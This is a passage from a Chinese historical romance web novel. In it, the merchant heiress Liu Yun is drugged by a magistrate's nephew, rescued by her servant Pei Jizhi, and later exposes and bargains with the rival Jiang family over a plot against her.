“来都来了,你便随我转转吧。”姚文唇角勾起一抹弧度。“这宅邸比起你家也不逊色吧?”
柳芸不接茬:“你还没有回答我的问题。”
“那当然是……”姚文眨眨眼,“参加好友宴会。”
柳芸冷笑:“就你?还能有好友?我看呐,不过是些狐朋狗友罢了。”
“柳芸,你!”姚文果然被她激怒,脱口就要骂,但硬生生憋住了。
他没好气道:“你别瞧不起我,走,我带你见见我的好友。”
柳芸好奇姚文这胖子葫芦里卖的什么药,抬腿便跟上去。
穿过蜿蜒曲折的游廊,经过层层叠叠的厢房,就在柳芸以为自己就要迷路的时候,在前方引路的姚文停下脚步。
“你干嘛突然停下?”柳芸差点撞在他身上。
姚文转过头,小眼睛眯起:“到了。”
柳芸退开几步,和他保持距离。
这时,一张柳芸熟悉的脸出现在他俩面前。
柳芸甚至不用去回忆此人的名字,因为她昨日刚见过。
“芸娘,介绍一下,这位就是我的好友罗松乔。”姚文得意洋洋,嘴角咧到耳根。
“陈县令的表侄。”
他的眼睛盯着柳芸,想从她脸上看出点什么。
惊慌?恐惧?还是后悔曾经得罪过自己?
姚文想,如果柳芸跪下求他放过自己的话,那他或许可以考虑网开一面。
可他的希望落空了。
柳芸看见罗松乔,脸上并没有什么惊慌失措,反倒是嘴角勾起一抹讥诮。
“又见面了。”
更让姚文目瞪口呆的是,反倒是罗松乔先开口,语气听上去很是热络。
柳芸扬起下巴,斜睨他一眼,目光似有若无扫过他长袖中的手:“怎么?你的手指接好了?”
罗松乔脸上僵了僵,袖中的手暗暗抽痛,他挤出笑容:“原来你叫柳芸。”
“正是在下。”事到如今,柳芸也没什么不敢承认的
“听姚文说,你俩是春和先生的学生,也是同窗。”罗松乔皮笑肉不笑,笑容刻意。
“正是正是。”姚文连忙讨好地抢着回答,表情谄媚。
罗松乔却不看他,眼睛直勾勾盯着柳芸:“昨日未曾仔细看,柳小姐着实是位难得的美人呢。”
17. 药效发作
裴济之的手掐住柳芸的脖颈。
她的脖颈纤细,皮肤白皙,仔细看能透过皮肤看见流动的血管。
凌安静静站在裴济之身后,屏住呼吸,不敢吱声。
裴济之想起自己肩上被她的鞭子抽打过的伤痕,眼神中闪过一丝狠厉,手掌缓缓收紧。
忽然,少女皱眉,无意识地将脸别了过去,嘴里嘟囔了一句:“混蛋。”
裴济之以为她醒了,下意识松开了手。
但仔细看去,柳芸还是眉头紧锁,双目紧闭。
“主子。”凌安出声提醒,他见裴济之长时间没有动作,忍不住催促。
裴济之的手垂落在身侧,握了握拳头,又松开,叹了口气。
他俯下身揽住柳芸的腰,将她打横抱起来。
凌安心中吃惊,还想说什么,裴济之的眼神扫过去,他还是闭上了嘴巴。
柳芸的脑袋歪靠在他的臂弯里,长睫垂落。
裴济之抱着她往马车的方向走。
也许是他的动作太多,惊扰了柳芸,她陡然睁开眼睛,泛出凛冽的杀意。
她以为是罗府的人追上来了。
下一秒,许是看清楚了他的脸,柳芸眼中的杀意减少几分,裴济之低头看她,只见她双颊泛着不正常的绯红,无意识地往他衣襟里蹭了蹭。
“小姐?”裴济之的指尖攥紧她的腰肢,低声轻唤。
柳芸眨着湿漉漉的眼睛,突然伸出手,张开手臂,拍了拍他的脸:“是你啊,裴济之。”
裴济之颔首:“今天轮到我负责接您。”
柳芸‘哦’了一声。
裴济之觉得她明显还没清醒,反应比往常迟钝很多。
她拽住他的衣领,强迫他低头与她的脸贴近。
“看到我这副样子,你心里一定很痛快吧!”柳芸嘲讽。
裴济之眼神一暗:“你被下药了。谁做的?”
柳芸眯起眼睛,反问:“你在关心我?”
“如果小姐你不想说的话……”裴济之眼眸微垂。
柳芸冷哼:“不过是些不入流的手段罢了。”
“倒是你……”柳芸眼眸流转,下一秒她的胳膊环住裴济之的脖颈,凑近他的耳畔,“让我有些意外。”
“你现在很不清醒。”裴济之顿了顿,抱着她上了马车。
钻进车帘,将她放下。
正要离开,却被一只手拽住衣袖无法动弹。
裴济之无奈,回头就对上柳芸迷蒙的眼神。
“你……不许走!”
马车已经发动,裴济之又一时无法挣脱,只得坐下来。
将柳芸安置在软垫上,他自己则靠着对面的车壁,和她拉开距离。
车厢摇摇晃晃,柳芸被药劲折腾得难受,迷迷糊糊竟往裴济之的方向靠过去。
“好热……”
她只觉浑身燥热,迫切想寻找冰凉的东西。
她的指尖攥着自己的衣襟,难受得往旁撕扯,丝绸制成的衣领被她拽得松散开,露出白里透红的肌肤。
她低声呢喃,声音又软又哑,完全不似往日惩罚他时那般高高在上的锋利。
裴济之本能地别开视线,可细碎难耐的喘息总是时不时传到他耳朵里,他浑身不自在,余光瞥见柳芸竟然开始胡乱扯自己的衣扣,看架势是要把身上碍事的衣物统统扯掉。
裴济之猛地攥住她不安分的手腕。柳芸的手腕被他用力一捏,有些吃痛地倒抽一口气。
“男女授受不亲。”裴济之板着脸。
柳芸停下动作,似乎在理解他话中的意思。
裴济之以为他提醒了之后她就会安分坐回去。
谁知,下一秒,马车碾过颠簸的路面,柳芸撑起身体直接朝裴济之摔过来。
温热的呼吸扫过他的手臂,带着少女独有的体香。
裴济之浑身猛地一颤,下意识就想推开。
但柳芸的脸颊贴上他的脸,嘴里不住地呢喃:“好凉快……”
裴济之一僵,柳芸滚烫的体温透过肌肤传导过来,连带着他的体温也不断上升,他能感受到自己的脸也在发烫。
“柳芸!”裴济之掰开她的手臂,强迫她看着自己,这时也不叫小姐了,直呼其名。
“嗯?”柳芸迷迷瞪瞪。
“你最好看清楚我是谁。”裴济之掐着她的下巴,脸色一沉,“你忘了我要同你争夺家产吗?”
此话一出,柳芸猛地抬眼,一把将裴济之推开,脸颊气得泛红,眼眶也开始泛红,她抄起车厢里的软枕,一把抱在怀里,大声叫嚷:“这是我的!这些都是我的!都是我娘留给我的!谁也不许拿走!”
她恶狠狠瞪着裴济之,就像是在审判一个十恶不赦的大恶人。
裴济之无奈。
这时,车外的凌安听到了动静,他站在帘外,低声询问:“主子,出什么事了吗?”
柳芸眼底燃起小火苗,腮帮子微微鼓起,手指着外面:“你滚出去!”
裴济之此刻巴不得消失在原地,她的命令正中下怀,于是他整理了一下衣袍便掀开帘子出去了。
“无事。不必惊慌。”裴济之对凌安说。
凌安看见主子安然无事走出来,总算松了口气。然后他抬头就见到一向清风朗月的主子脸颊泛红,连耳根子都是红的。
他顿时感觉自己可能是眼花了。
“你怎么了?”裴济之察觉到下属不对劲。
“没、没事。”凌安咽了口唾沫,头摇得跟拨浪鼓似的。
裴济之看了他几眼,没有深究,简单吐出一句:“去请个郎中给她解毒。”
“是。”
“另外,查一下这两天她在陶肆遇到什么事了。”
“是。”
……
马车到达柳府门口。
春桃早已等候多时,裴济之将昏睡过去的柳芸抱下来交给她。
“小姐怎么了?”春桃压低声音问。
裴济之:“被人下药。我已经请了郎中,马上就到。”
春桃一听,那还得了,一看小姐脸色潮红,浑身滚烫,她一急,眼泪要掉下来。
裴济之见她又要落泪,赶紧提醒:“你先将她安置好。”
“对对对,你说得对。”春桃止住眼泪,招呼身旁的丫鬟们过来服侍柳芸。
“手脚机灵点,不要弄疼小姐。”
郎中过来把了脉,写了药房,叮嘱几句,春桃一一记下。
很快熬好的药汁递上来,春桃将倒在床榻上的柳芸抱起来,将汤药灌下去。
春桃端着空碗出来的时候,撞上在
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门外站着的裴济之。
她有些诧异,以为他早就回去休息了。
“药都喝下了?”裴济之神色不自然,但隐在夜色中,所幸春桃没有看出异样。
春桃点了点头,悬着的心稍稍安定:“等后半夜高烧退了应该就没事了。”
到了下半夜,春桃再去摸她的额头,烧已经退去大半,春桃这才安心。
翌日,柳芸一觉醒来,就见到春桃一双肿得通红的眼睛。
柳芸吓了一跳:“一大早的,你怎么了?”
春桃眼睛红红的:“您不记得昨晚的事情了吗?”
被她这么一说,柳芸下意识想要回忆,然后只觉一阵头疼。
烟花般在她脑子里炸开,越用力回想越头疼,柳芸伸出手锤了锤自己的脑袋,片段般的记忆断断续续闪现。
春桃见状,心疼地握住她的手:“小姐,想不起来别想了,别难为自己。”
柳芸记起来了,她昨日逃离罗府之后,因为药效发作,找了个隐蔽的角落躲藏,后来……后来她就失去了意识。
她眸色一暗,攥住春桃的手腕:“昨天我怎么回来的?”
“啊?”春桃没想到她问这个,观察了下柳芸的脸色,“您真的不记得了吗?”
柳芸摇头。
春桃犹豫着说:“昨天轮到裴公子当值,是他接您回来的。”
“裴济之。”柳芸重复着这个名字。
春桃上前为她揉捏太阳穴,手法熟稔,稍稍缓解了柳芸的痛楚。
似乎昨晚是有人抱着她说了什么。
“把他叫过来。”柳芸叹了口气,回忆不起来也没办法,直接把当事人叫来询问罢。
小丫鬟立刻领命下去找裴济之。
“小姐,我服侍您用早膳。”春桃牵着柳芸在桌案前坐下。
她从托盘里端出一碗红枣薏米粥,用汤匙舀着一勺一勺喂给柳芸。
裴济之推门走进来,看到柳芸正在用膳,默默退到角落里,等她传唤。
柳芸抬眸,就瞥见他,不冷不淡:“你过来,问你话。”
裴济之走上前行了个礼。
柳芸打量着他,他还是一如既往穿着一套朴素的青衫,身姿挺拔,此刻站在她面前,也自成一派的独特的气场。
“昨日是你送本小姐回府的?”柳芸开门见山。
裴济之颔首:“是,昨夜我来陶肆接您,看到您晕倒在路边。”
柳芸咬了一颗红枣,慢慢咀嚼着,眼神落在裴济之身上打了个转。
“我以为——”她顿了顿,“昨天那种情况下,你会选择抛弃我。”
裴济之身体一僵。
“小姐,您怎么可以这么说!谁敢抛下您?您是咱们柳府最最尊贵的人。”春桃皱眉,脸上写满不赞同。
柳芸抱臂,语气冷冷:“谁知道呢,当事人怎么想的只有自己心里清楚。”
也不是她多想,实在是她和裴济之的关系简直是势同水火,裴济之每次为她做事都是不太情愿的样子,好像自己折辱他一般,她也看不惯裴济之,若是身份互换,昨晚她遇到晕倒在路边的裴济之,她也不会发善心去救他的。
裴济之脸色变化只有一瞬间,他很快掩藏住自己眼底的波动,抬头望着柳芸,面不改色:“小姐,我不会的。”
18. 看望
柳芸接过春桃递过来的帕子抹了抹嘴巴,斜睨着站在面前的裴济之。
“撒谎。”
她顿了顿:“不过呢,你到底救我回来,还算你有良心,说吧,你想要什么奖赏。”
柳芸眯了眯眼,凡讨好她的人,必定有求于她。
裴济之抬头,目光落在她的脸上,似乎在确认什么:“你不记得昨晚发生了什么?”
“我应该记得什么吗?”柳芸反问。
裴济之垂眸,声音压低:“我昨日救你并没有想过回报。”
说完,屋内陷入了诡异的沉默。
柳芸起身,踩着绣花鞋走到他身边。裴济之垂着头看不到她的表情,但能清楚地看见柳芸崭新的绣花鞋上镶嵌的两颗珍珠。
她在他头顶低低笑了声,那只葱白的纤细的手抚上的他的脸,长长的指甲掐住他的双颊,强迫他直视自己。
“装什么啊。赶紧说!”
柳芸没那么多耐心,他最好识相一点,在自己耐心耗尽之前说出要求。
裴济之眼底没有半分波澜,墨色的眼眸眨了眨:“我并未想好讨要什么。这是实话。”
“哦,原来如此,”柳芸指尖微微用力,“所以你是想要我的一个承诺。”
“若是裴某今后想求小姐办事,还希望小姐兑现今日的承诺。”
“你凭什么,以为我会答应你?”柳芸收回自己的手。
对方果然有所图,虽然棘手,但让她放心多了。
裴济之的视线落在她泛白的指节上,薄唇轻启:“小姐,我相信你。”
言而有信。
既然连江云锦三个月学徒的赌约都能履行,那么自己的这个小小要求应该不会被驳回。
裴济之看向她的眼神和说出来的话让柳芸很不舒服,她脸色一沉:“不要装作很了解我的样子。”
这时,有一个小丫鬟打了门帘进来禀告。
春桃走过去,皱眉小声训诫:“怎么急匆匆的?这么没规矩。进来要先看看主子有没有空。”
丫鬟一向畏惧春桃,红着脸不敢吱声了。
“欸,你倒是说话呀!”春桃被她的反应气笑了,“满屋子都等着你开口呢。”
小丫鬟于是怯怯地望向柳芸。
柳芸笑着颔首:“何事?”
“沈素小姐来了!”小丫鬟见姑娘没有责怪她的莽撞,心中一定,语气又欢快起来。
“我当发生什么了呢?远远的就听见春桃教训小丫头。”
沈素带着笑意的声音从门外响起。
春桃急步走过去,为她撩开门帘,笑着道:“沈姑娘莫要打趣奴婢了。”
柳芸扫了身前的裴济之一眼,他心领神会,默默退到一旁侍立。
好友到来,她心里欢喜,要上前迎接,沈素却快她一步,握住她的双臂,将她摁在凳子上。
“听下人们说,你昨夜遇到歹人了?”沈素上上下下打量她,带着藏不住的紧张。
柳芸的脸色还是有些病态,唇色泛白。
沈素一看她这副样子,只觉心被揪住。
柳芸不想让好友过分为她担心,握着她的手,轻声安慰:“没事,都过去了。”
沈素伸手碰她的额头,真真实实感受到她并没有高热,悬着的心才放下,末了想起什么,攥紧她的手腕,语气急得发颤:
“你别硬撑着,发生什么了,跟我说行不行?别什么都一个人扛着。”
柳芸拉着她在太师椅上坐下:“你真想知道?”
沈素点她的脑门:“如实交代!”
柳芸隐去眼眸中的笑意:“是罗松乔和姚文两个畜生。”
此话一出,不止沈素惊讶,在旁侧立的裴济之也变了脸色。
“罗松乔?”沈素乍一听到这个名字觉得有些熟悉,旋即脸色发白,“是哪个罗?不会是陈县令的那个侄子吧?”
“是他。”
“祖宗欸,你怎么平白无故招惹这位煞神!”沈素捂着胸口,呼吸不畅。
“不是我招惹他。”柳芸不快地瘪嘴,“是这人无理取闹,拿着自己毁坏的茶盏污蔑陶肆售假,我不过是据理力争,他竟然怀恨在心还……还……”
“还怎么样?”沈素催促。
“还色胆包天,竟敢把我骗去他的府邸给我下药。”柳芸越想越气。
“畜生!”沈素几乎立刻就炸了,她拳头砰的一下砸在几案上,玉镯发出清脆的碰撞声。
“那罗松乔果然如传闻中一样无恶不作。”沈素拉过柳芸的手,不自觉眼底有泪光闪烁。
“传闻中?”柳芸捕捉到她话中这个词。
沈素点点头,组织了一下语言,压低声音附在柳芸耳畔:
“此人是长安出名的纨绔,芸娘你平日不关心这些就不知道,他呀,嗜赌如命,仗着自己叔叔是当官的,烧杀淫掠,无恶不作,曾经呀,将一个良家女子绑回家做妾,玩腻了就将那女子卖掉,那女子在青楼染了脏病,年纪轻轻就死了,可怜可怜!”
“竟有这等丧尽天良的丑事!”柳芸声音像淬了冰。
“芸娘,如今你得罪了他,还是小心点为妙,你我都惹不起罗家。我看,你这几月能不出门就别出去罢。”沈素忧心忡忡。
柳芸轻轻拍了拍她的手背:“莫怕。我家虽比不上罗家,但也不是吃素的,谅他罗松乔也不敢在光天化日之下将我如何。”
“芸娘,你就听我一句,安分点……”
“素素,你同我一起长大,是最了解我脾气的人,我这人睚眦必报,无论是谁。”柳芸眼眸中闪过一丝狠厉。
“可是——”沈素还要再劝。
“再说了,你也说了罗松乔是个做事不讲章法的人,事到如今我打伤了他,他已经记恨上我了,躲在家里就能平安无事吗?”
沈素听到这话,沉默下来。
她长长叹了口气,抓着柳芸的手,屋外的晨曦洒进来,沈素看着柳芸白皙的小脸上坚定的表情,忽然想起什么。
“那天是谁引你去的罗家?”
柳芸愣了愣:“是杜师傅。江家陶肆的陶匠。”
印证了心中猜测,沈素拍了拍手:“果然,这件事和江家脱不开关系。”
“江家和罗家?”
“没错,多半是江云锦不想得罪罗松乔,就将你推了出来。”沈素说出自己的推测,攥紧拳头骂了句,“江云锦好狠的心。”
“从前我只当你同她不过是少年之间意气之争。如今她却陷害你的清白!”沈素咬牙,揉皱手帕。
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>柳芸唇角勾起一抹淡淡的,却让人不寒而栗的弧度:“放心,这笔账,我会一笔一笔,连本带利找她讨回来的。”
“芸娘,江家现在和罗家站在同一阵营,恐怕不好对付。你要小心!”沈素眼底焦虑快要溢出。
春桃凑上前,福了福礼:“小姐,过几日便是江姑娘的生辰,帖子江家已经差人送来了。”
然后,她从托盘里取出一张红色封面的请帖递给柳芸。
柳芸同沈素一同翻看,她眼底闪过一丝狡黠:“正愁着没机会呢,她倒是送上门来了。”
“芸娘!”沈素攥紧她的手臂,眼神里写满不赞同,“不要冲动!”
“哎呀素素,在你眼里,我就是这般莽撞无脑的人吗!”柳芸晃了晃她的胳膊撒娇,鼓着腮帮子。
沈素受不了她卖乖,伸手捏了捏柳芸的脸蛋,无可奈何:“你呀!”
春桃站在一旁看到这场面,也忍不住捂嘴偷笑。
小姐也只是个十三四岁的少女,可是母亲早逝、父亲又常年在外行商,有多久没见过小姐这么孩子心性的时候了?春桃记不清了。
下人们总说小姐太蛮横、骄纵,只有春桃知道,她是给自己心里竖起了一道高高的围墙,谁也进不去,小姐要让所有人都怕她,这样才能牢牢掌控柳家。
也只有在沈素姑娘这里,小姐才能放松做自己罢。
“芸娘,那你同江云锦的三月的赌约,还要去吗?就别去了吧,她都这样暗算你了。”沈素看见柳芸的发髻有些凌乱,便伸手帮她梳理散乱的头发,随口问了一句。
“去啊,为什么不去?”柳芸抱臂,理所当然地回答。
要偷师的东西还没学到呢,江云锦这么算计她,那么她薅她的羊毛更加没有心理负担了。
沈素还想说什么,但犹犹豫豫,最后叹了口气:“算了,劝你也劝不动,性子跟头牛似的,认定的事情倔得不行。你心里有数就行。不过——”
“怎么了?”柳芸察觉到好友欲言又止。
沈素瞟了一眼伫立在角落的裴济之,压低声音:“你要不要把裴济之带在身边?他这么高的个子,守在你身边,也能保你平安。”
被她这么一说,柳芸也朝裴济之的方向望过去。
正好裴济之察觉到有两道视线在观察他,也抬眸循过去。
二人的视线在空气中不期而遇。
柳芸不知为何,心里升起一丝尴尬,扭过头,别开视线:“不要。我带他干嘛?给我添堵吗?”
却不料她这话一出,沈素面色一沉,甩开她的手:“你必须带个人在身边,否则我就和你绝交!”
柳芸一个人出去,今后再遇到被人下药这种事情,还能不能幸运逃脱,沈素都不敢继续想下去。
起码得有个人照看。
柳芸见沈素真的动气了,知道她是关心自己,不好再拂了她的好意,望着沈素紧绷的侧脸,到了嘴边的拒绝终究咽了回去,无奈地软声妥协:“好吧。依你的意思。”
她又扭头,朝着裴济之的方向抬了抬下巴,没好气:“裴济之,从今往后,你要在我的身边,保护我的安全。”
裴济之蹙眉,想起自己即将要参加的秋闱,喉间滚了滚,但终究没有反驳,他躬身行礼:“是。”
20. 二哥
柳芸面上丝毫不显,抬步走进屋内,一旁的春桃将早已准备好的贺礼端上来。
“今日是锦娘你生辰,我怎么能缺席呢?”柳芸叫得亲切。
江云锦的视线锁定柳芸,在她的脸上转了两圈,没看出一丝破绽。
江家来往的长辈不少,主屋里热热闹闹,不少人朝这边瞧过来。
“欸,那姑娘长得真俊啊?是哪家的?”
“你说的不会是和锦娘说话的那个吧?那是柳家的那位大小姐。”
“那算了,听说她脾气骄纵,性格乖张——”
“我倒是听说江柳两家不对付,柳芸竟来给江云锦贺寿,奇怪奇怪。”
柳芸感受到不少视线若有若无落在她身上,她无所谓,拍了拍手,示意春桃将托盘呈过去。
“芸娘,你来就来呗,带什么贺礼,客气了啊!”江云锦用帕子掩着嘴笑着。
她笑着笑着,很快就笑不出来了。
她掀开了托盘上的红布,托盘上赫然只放了一个信封。
信封封口工整,纸面洁净。
不知怎得,江云锦有种不好的预感,她下意识看向柳芸。
柳芸伸手做了个请的手势:“打开看看呗,这是我精心为你准备的生辰礼。”
她将“生辰礼”这三个字咬得很重。
江云锦从小和柳芸一道长大,不会错过她眼底的嘲弄,她捏着那信封,眼底慌乱一闪而逝,强颜欢笑:“不必了,芸娘你的心意我收下——”
“锦娘,你这是不肯给我这个面子?”
柳芸缓步上前,语气依旧不急不缓,目光却淬了冰,一字一顿,清晰地落进围观群众的耳朵里:
“我这份礼,是特意为你准备的,旁人想要,还没有呢。”
四周哗然,很多人搞不清楚情况但看这氛围剑拔弩张的,偷偷交头接耳——
“啥情况?柳芸送了啥?”
“好像是个信封。”
“不过是个信封,为何江云锦脸色这么差?”
“我也不明白,咱们先静观其变。”
柳芸摆出了一定要她当众拆信的态度,江云锦就知道她今天肯定不能拆信了,里面肯定是什么不利她的东西。
“锦娘,这位是?”
忽然,有一道清润的男声突兀响起。
未见其人先闻其声,大家都朝着声音的方向望过去。
只见一个素色锦缎长衫男子缓缓走来,手中握着一把折扇,男子生得很是清俊,面如冠玉,眉眼清亮有神,身上衣物都是上好的料子,腰间系着一块通透的玉佩,整个人清雅如竹。
江云锦看见这男子眼眸骤然亮起,面露欣喜,小跑着上前迎接:“二哥!你怎么回来了?”
被江云锦叫二哥的男子唇角上扬,摸了摸江云锦的头:“小妹生辰,做兄长的当然不能错过。”
江云锦在兄长面前笑容也真切了不少,拉着他二哥江云峥的衣袖晃了晃:“那二哥可有给我带生辰礼?”
“你呀!”江云峥收起折扇,在江云锦的额头上敲了敲,语气宠溺,“小财迷!当然给你准备了礼物。”
他从袖中取出一个锦盒。
江云锦迫不及待地接过盒子,打开一看,竟是一只翡翠手镯,质地温润通透,一眼便知是上等的好翠。
“姑娘,这是大人特地重金为您买下的手镯。”江云峥身边的小厮忍不住出声。
江云锦眼睛发亮:“谢谢二哥,我非常喜欢!”
见妹妹收下礼物,江云峥扫视了一圈四周,视线落在柳芸身上,见这少女独自立在屋子中央,周围的人似乎有意与她保持一定的距离,忍不住询问江云锦:“这位是?”
江云锦循着兄长的目光望过去,高兴的心情顿消一半:“哦,那是柳芸。柳家的女儿。”
江云峥朝柳芸走过去,伸出手,含笑:“初次见面,我是江云峥,锦娘的二哥。”
柳芸扫了一眼他伸出来的手,干净纤细。
裴济之上前一步挡在柳芸面前,面无表情隔开二人。
“柳芸,我哥跟你打招呼呢,你什么态度?”
江云锦看见自己哥哥被如此防备,生气地跺脚。
柳芸拍了拍裴济之的肩膀:“你退下。”
然后她扬起一个礼貌的笑容:“久闻江二郎大名。”
江云峥算是江家最有出息的读书人,前年考上了秀才,江老爷打通了门路,举荐他去地方上做了典史。一年到头,都回不了几次长安,因此柳芸也是听闻过他的名字,并没有见过他。
少女的笑容带着疏离,江云峥悬在半空的手不着痕迹地收回,面上看不出端倪:“方才远远听见芸娘你同我妹妹说话,是送了她什么礼物吗?”
柳芸正想着怎么将话题带回来,眼见着江云峥话头绕了回来,正合她意:“正是。我特意准备的生辰礼,还望令妹亲自拆开,不要辜负我的心意。”
于是,江云峥转头看向妹妹。
江云锦感受到兄长的目光,顶着巨大的压力,将偷偷塞进袖口的信封取了出来,咬了咬下唇。
“能不能宴会结束再拆?”她试图做最后挣扎。
江云峥摇头:“毕竟是人家的一番心意。”
兄长发话,江云锦推脱不得,手指僵硬地捏着信角,慢吞吞拆开信封,目光扫过几张信纸,暗道不好。
上面写的正是掌柜和杜师傅奉她的命令陷害柳芸的供词。
她下意识就要将信纸藏进袖中。
她攥紧拳头,面色发白地瞪了一眼柳芸,就知道她没安好心!
柳芸抱臂,唇角噙着一抹冷笑,拔高声音:“怎么样?我送的礼,江小姐可还满意?”
江云峥敏锐地察觉到妹妹的反应不对,柳家这丫头和自家妹妹说话阴阳怪气。
他皱眉,伸出手:“给我看看。”
“不要。”江云锦下意识拒绝,然后意识到自己反应过激了,补充解释,“也没写啥,就是芸娘祝我生辰快乐,我很满意的。”
她对着柳芸笑,笑容非常勉强。
“锦娘!”
江云峥敛了笑意:“将信给我。”
江云锦对兄长又敬又怕,感受到他的威压,只好颤颤巍巍伸出手。
江云峥意味深长看了她一眼,夺过信笺,一目十行扫过去,他越看脸色越沉。
江云锦偷偷拿眼观察兄长表情,心中发紧
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,手脚发寒。
屋子里突然变得寂静,所有人都察觉到气氛不对。
有人想结识江家这位年少有为的青年,此刻也踟蹰着不敢上前。
“你随我来。”
江云锦垂下头,只听到二哥冷冰冰的声音在她头顶响起。
她不敢反抗,跟在二哥后头离开。
众目睽睽,寿宴的主角被带走了。
留在主屋里的人面面相觑。
不久,有个小厮过来,面露惭愧向众人告歉:“二爷说今日不便招待各位,实在抱歉。处理完家中事务,定会登门致歉,还请各位回去吧。”
宾客中自然有人不满,招之即来挥之即去,江家这是把他们当什么了?不过碍于江家的权势,众人也是敢怒不敢言。
有人猜测大抵是与江云锦和柳芸脱不开关系。不然为何江云峥刚来时和和气气,看了柳芸的贺信就一言不发带着江云锦离开了。
于是几道探究的目光便似有若无落在柳芸身上。
柳芸抬眸一一回望,这些人又似做贼心虚收回视线。
宾客们纵然心中不满,终究收拾东西,三三两两离开。
春桃询问柳芸:“小姐,我们也回去吗?”
柳芸抬手:“再等等。”
等什么?春桃茫然,但不敢问。
方才那小厮朝着她们的方向走过来,向柳芸行礼:“柳小姐请留步。二爷请您过去东厢房一趟。”
柳芸勾起唇:“好。烦请引路。”
小厮却拦下正要跟上来的春桃和裴济之:“二爷吩咐,只请柳小姐一人。”
“可是—”春桃皱眉。
“你俩等在此处。我去去便回。”柳芸打断她。
柳芸跟着小厮七拐八拐进了东厢房,还没进门就听到女子的哭声。
小厮面不改色地推开门:“请进。”
柳芸提着裙摆踏进去,小厮便在她身后合上了门。
屋里只有江云锦和江云峥两个人,显然,江云峥将下人都遣散下去了。
江云锦正跪在蒲团上垂泪。
江云峥背着手站在她身前。手里还攥着揉皱的信笺。
“二哥,我知道错了。”江云锦用手帕抹着眼泪,哽咽。
“我平日教你的规矩,你都忘到哪里去了?这般不知轻重,丢的不只是你自己的脸。”他声音不高,却带着不容置疑的威严。
江云锦浑身战栗。
柳芸没想到一进来就看到这么一出好戏,静默地站在一旁。
此刻,江云峥仿佛才注意到她似的,抬眸望过来,脸上带着愧疚:“舍妹行事莽撞,得罪了你,是我管教无方。我代她向你道歉。”
说罢,他侧眸冷睨了身侧瑟瑟发抖的妹妹一眼,语气沉了几分:“还不快给芸娘道歉。”
江云锦被那目光一慑,浑身发颤,不敢有半分倔强,只得低着头,声音细若蚊蚋,乖乖道了歉:“芸娘,对不起。这件事我做得不厚道。”
江云峥面色这才缓和几分,放缓声音对柳芸说:“这件事终究是我们江家对不起你,你想要什么补偿尽管提。”
柳芸收到他的目光,冷笑一声:“真是一出好戏。”
21. 与江家交易
江云峥皱眉:“柳姑娘,我是真心代舍妹向你致歉的。希望你没有误会。”
柳芸不以为意,低低嗤笑一声:“你将我引至此处,当着我的面先发制人训诫江云锦,你以为我看不住这出戏是故意演给我看的吗?”
“是你多想了。”江云峥闻言,脸色沉下来。
“那我问你,为何不当场在宾客面前发作,反而遣退所有人,挑了这个僻静的东厢房,独独留下我?”柳云冷哼,她在扶手椅上坐下,“江云峥,你不是傻子,也别把我当蠢货。”
二人言语交锋,跪在蒲团上的江云锦肩膀停止颤动,竖起耳朵屏住呼吸偷听。
厢房里安静下来。
江云峥盯着柳芸冷若冰霜的脸,忽地展开折扇,大笑:“素闻柳家大小姐聪颖过人,今日一见,果然名不虚传。那我也不绕弯子了——”
“柳芸,你不会真的以为就凭这两张诉状就能将我江家如何吧?”
他举起手中的信笺,轻轻晃了晃,嘴角笑意加深,颇有嘲笑她不自量力的意味。
“证据确凿。”柳芸反唇相讥。
江云峥伸出一根手指,对着虚空晃了晃:“不,这两个人都是我江家的人,吃我家的用我家的,他们的把柄和契约都在我手上,到时候我江家一口咬死诉状是伪造的,你又能如何?”
说完这句话,他的目光锁定在柳芸的脸上,试图从她脸上看出慌张或者无措,可惜,什么都没有。
柳芸不怒反笑:“我说过,你不要把我当傻子。你我都知道这诉状是真的,你尽可以抵死不认,但你不能代表他二人。”
“你在说什么?难道他们还会帮你?”江云峥下意识质疑。
柳芸不语,垂眸把玩着手腕上的玛瑙手串。
江云峥意识到什么,挥手将贴身小厮叫上来,压低声音问:“账房呢,让你去找,可找着了?”
小厮一脸为难:“回大人,先生已经失踪三日了。到处都找不着人。”
江云峥脸色骤变,他再也坐不住了,几步走到柳芸面前:“是你做的?”
“江小姐做坏事连收尾都做不好,我便发发善心,替她做了。”柳芸摊开双手,一脸无辜。
“不中用的废物!”跪在蒲团上的江云锦脸色大变,手握成拳头,猛猛砸向低面。然后她脸色铁青瞪着柳芸:“你到底想怎样?是,是我算计的你,但你现在不是毫发无伤吗?至于吗?”
未料,下一秒,一把冷冰冰的折扇摔在她额头上,白皙无暇的皮肤上瞬间绽开了血花,滑落到江云锦的眼睛里,江云锦捂着额头发出痛呼,但她不敢发作,甚至不敢去看江云峥。
“事到如今,你还没意识到自己的错误吗?”江云峥这边正和柳芸这个难缠的丫头博弈,没曾想自己要保下的妹妹非但不领情,还火上浇油,他也是气极,竟失手将手中的折扇甩了过去。
“二哥,你打我?”江云锦咬着唇,眼眶里的泪水打转,声音委屈控诉,“二哥你往日最疼我,今天却为了这个女人打我吗?”
江云峥见妹妹受伤了,顿生愧疚,想察看她的伤势,却对上江云锦怨愤的目光,怒极反笑,语气里只剩下寒心——
“罚你去跪祠堂,不明白错在哪里不许出来。”
跪祠堂简直是江云锦的噩梦,她顿时认怂,趴在江云峥脚边:“不,不要,二哥我不去……”
江云峥却背过身去,甩开了她的手,冷声喝令下人:“还不赶紧把小姐拖下去!”
下人们何时见过平日里温文尔雅的公子这般生气,瑟瑟发抖,摁着江云锦的肩膀不顾她的挣扎反抗将她带了下去。
沾了血的折扇掉在地上,江云峥弯腰捡了起来,从袖中取出一块帕子缓缓擦拭,表情又变回原来的从容:“你现在满意了吗?”
“满意?”柳芸冷眼旁观这一切,仿佛听到了天大的笑话,“她不过是伤了额头,而我呢,差点失去了清白。”
“你当然可以报复,我理解你。但是,江云锦是我江家的人,你动不了她。”江云峥掀开茶盏,浅浅抿了口,语气带着不容置疑的肯定,分明是逼她妥协。
“况且,”他漫不经心打量了一眼柳芸,“你还没出嫁,闹大了对你没好处。”
“那我们也没啥好谈的了。”柳芸根本不怕他这套威胁,她站起身就要走。
一步、两步、三步……眼看她就要推开门。
“慢着!”
柳芸唇角微翘。
“把账房先生放出来。”江云峥在她身后出声。
柳芸挑眉,顿住脚步,没有转头:“凭什么?”
“黄金?银两?房契?想要什么你尽管提。”江云峥终究是坐不住了。
柳芸摇摇头。
江云峥蹙眉:“不要?”
柳芸勾起唇角:“不够。”
“那你还想要什么?”连江云峥自己都没察觉到,他面对柳芸时已经失去了刚开始自视为上位者的威亚,步步退让。
